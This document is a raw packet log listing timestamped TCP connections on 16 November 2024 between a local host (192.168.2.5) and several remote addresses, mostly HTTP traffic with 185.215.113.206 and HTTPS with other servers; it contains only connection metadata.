Nov 16, 2024 23:36:35.560842037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.560852051 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.560874939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.560875893 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.560885906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.560897112 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.560921907 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.560967922 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.560988903 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561000109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561009884 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561017990 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561021090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561037064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561039925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561058998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561060905 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561069965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561083078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561081886 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561101913 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561124086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561134100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561141968 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561146021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561156988 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561167955 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561177015 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561208010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561208010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561610937 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561625004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561639071 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561647892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561656952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561661959 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561687946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561688900 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561698914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561708927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561717987 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561721087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561731100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561739922 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561741114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561750889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561760902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561772108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561773062 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561783075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561793089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561794043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561814070 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561827898 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561835051 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561846018 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561855078 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561856985 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561875105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561876059 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561886072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561896086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561896086 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561907053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561918020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561928034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561934948 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561949968 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561958075 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561971903 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.561974049 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.561981916 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562006950 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562010050 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562026024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562032938 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562036037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562053919 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562092066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562144995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562155962 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562165022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562191010 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562216043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562227964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562237978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562247038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562258959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562269926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562272072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562293053 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562319040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562371969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562381983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562392950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562403917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562414885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.562414885 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562453032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.562453032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.597559929 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.597989082 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.598002911 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.600589037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.600600004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.600740910 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.600742102 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.601402044 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.601463079 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.601967096 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.602082014 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.602108002 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.607831001 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.608108044 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.608139038 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.609122038 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.609183073 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.609576941 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.609641075 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.609879971 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.609890938 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.612273932 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.612529993 CET	49864	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.612540007 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.612901926 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.614265919 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.615225077 CET	49864	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.615287066 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.615406990 CET	49864	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.616386890 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.616400003 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.617439032 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.617538929 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.618007898 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.618052959 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.618069887 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.635942936 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.636328936 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.636390924 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.636926889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637011051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.637038946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637072086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637110949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.637126923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637135029 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.637178898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637212992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637227058 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.637273073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637295008 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.637312889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637347937 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637361050 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.637382984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637418032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.637434006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.637466908 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.639729023 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.639797926 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.640152931 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.640217066 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.640283108 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.643356085 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.659357071 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.674704075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.674793959 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.674817085 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.674849033 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.674906015 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.674911976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.674966097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.674966097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675018072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675020933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675055981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675080061 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675086975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675118923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675118923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675137043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675158024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675185919 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675188065 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675214052 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675240993 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675301075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675357103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675405979 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675406933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675441980 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675492048 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675502062 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675520897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675554991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675590038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675605059 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675640106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675641060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675641060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675674915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675687075 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675705910 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675719023 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675755978 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675791979 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675796986 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675797939 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675823927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675853968 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675868988 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675875902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675925970 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675928116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675964117 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.675980091 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.675998926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676004887 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676033020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676060915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676063061 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676084042 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676095009 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676130056 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676134109 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676156998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676182032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676217079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676219940 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676243067 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676249981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676259041 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676284075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676311016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676317930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676330090 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676353931 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676386118 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676402092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676419020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676425934 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676451921 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676459074 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676486015 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676517010 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676534891 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676551104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676559925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676584005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676619053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676635027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676649094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676681995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.676707983 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.676753998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.683372974 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.731538057 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.731549025 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.731580019 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.731641054 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.747252941 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.747261047 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.747270107 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.749958038 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.750344038 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.750412941 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.751383066 CET	49868	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.751399994 CET	443	49868	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.751765966 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.751789093 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.751857042 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.752711058 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.752722979 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.756887913 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.757085085 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.757106066 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.757189035 CET	49864	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.757189989 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.757263899 CET	49864	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.757292986 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.757343054 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.757405043 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.757436037 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.757491112 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.757772923 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.758024931 CET	49875	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.758061886 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.759179115 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.760059118 CET	49875	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.760154009 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.760243893 CET	49875	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.760811090 CET	49864	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.760826111 CET	443	49864	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.761058092 CET	49883	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.761100054 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.761168003 CET	49883	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.761758089 CET	49883	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.761776924 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.762931108 CET	49869	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.762943029 CET	443	49869	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.768250942 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:35.772440910 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.772516966 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.772522926 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.772757053 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.772815943 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.773720980 CET	49866	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.773730993 CET	443	49866	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.782660007 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:35.789491892 CET	443	49873	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.790193081 CET	49873	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.790211916 CET	443	49873	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.790702105 CET	49873	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.790707111 CET	443	49873	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.793848991 CET	443	49872	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.795063019 CET	443	49878	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.796088934 CET	49878	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.796099901 CET	443	49878	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.796348095 CET	49872	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.796367884 CET	443	49872	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.796428919 CET	443	49878	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.796861887 CET	49872	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.796868086 CET	443	49872	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.797755003 CET	49878	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.797816038 CET	443	49878	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.802571058 CET	443	49879	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.802803040 CET	49879	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.802824974 CET	443	49879	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.803332090 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.803924084 CET	443	49879	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.803989887 CET	49879	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.804306030 CET	49879	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.804371119 CET	443	49879	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.814287901 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.814686060 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.814703941 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.815143108 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.815149069 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.828983068 CET	443	49865	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.829221964 CET	49865	443	192.168.2.5	13.107.246.57
